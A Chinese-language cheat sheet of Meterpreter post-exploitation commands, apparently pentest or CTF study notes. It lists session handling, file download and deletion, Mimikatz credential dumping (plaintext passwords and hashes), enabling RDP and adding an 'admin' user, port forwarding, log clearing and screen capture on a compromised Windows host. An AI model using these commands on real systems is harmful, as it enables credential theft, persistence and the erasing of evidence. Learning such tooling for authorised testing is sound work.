后渗透之meterpreter常用命令
1、基本系统命令
sessions #sessions -h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
backgroud #将当前会话放置后台
run #执行模块输入run tab键按两次列出已有脚本
info #查看已有模块信息
getuid #查看权限
getpid #获取当前进程的pid
sysinfo #查看目标机系统信息
ps #查看当前活跃进程 kill<PID值> 杀死进程
idletime #查看目标机闲置时间
reboot/shutdown #重启/关机
shell #进入目标机cmd
clearav #清除windows中的应用程序日志
load/use #加载模块
2、文件命令
download #下载文件 download c:\\flag.txt
upload #上传文件 uplaod flag.txt c:\\flag\\
cat #查看文件内容 cat flag.txt
del #删除指定文件 del c:\\flag.txt
3、抓取密码
load mimikatz #加载mimikatz模块
kerberos #获取明文密码
tspkg #获取明文密码
wdigest #获取密码 跟kerberos相同
hashdump #获取哈希值
mimikatz_command -f samdump::hashes #获取哈希值
mimikatz_command -f sekurlsa::searchPasswprds #获取明文密码
4、getgui命令&enable_rdp
run getgui -h #查看帮助
run getgui -e #开启远程桌面
run getgui -u admin -p admin #添加用户
run getgui -f 1314 -e #3389端口转发为1314
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=1314 #将3389端口转发到1314
5、网络命令
ipconfig/ifconfig #查看IP
netstat #查看端口
route #查看路由
getproxy #查看代理信息
6、远程桌面
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接
rdesktop #远程桌面 rdesktop +ip需要在终端输入
逆水行舟,不进则退。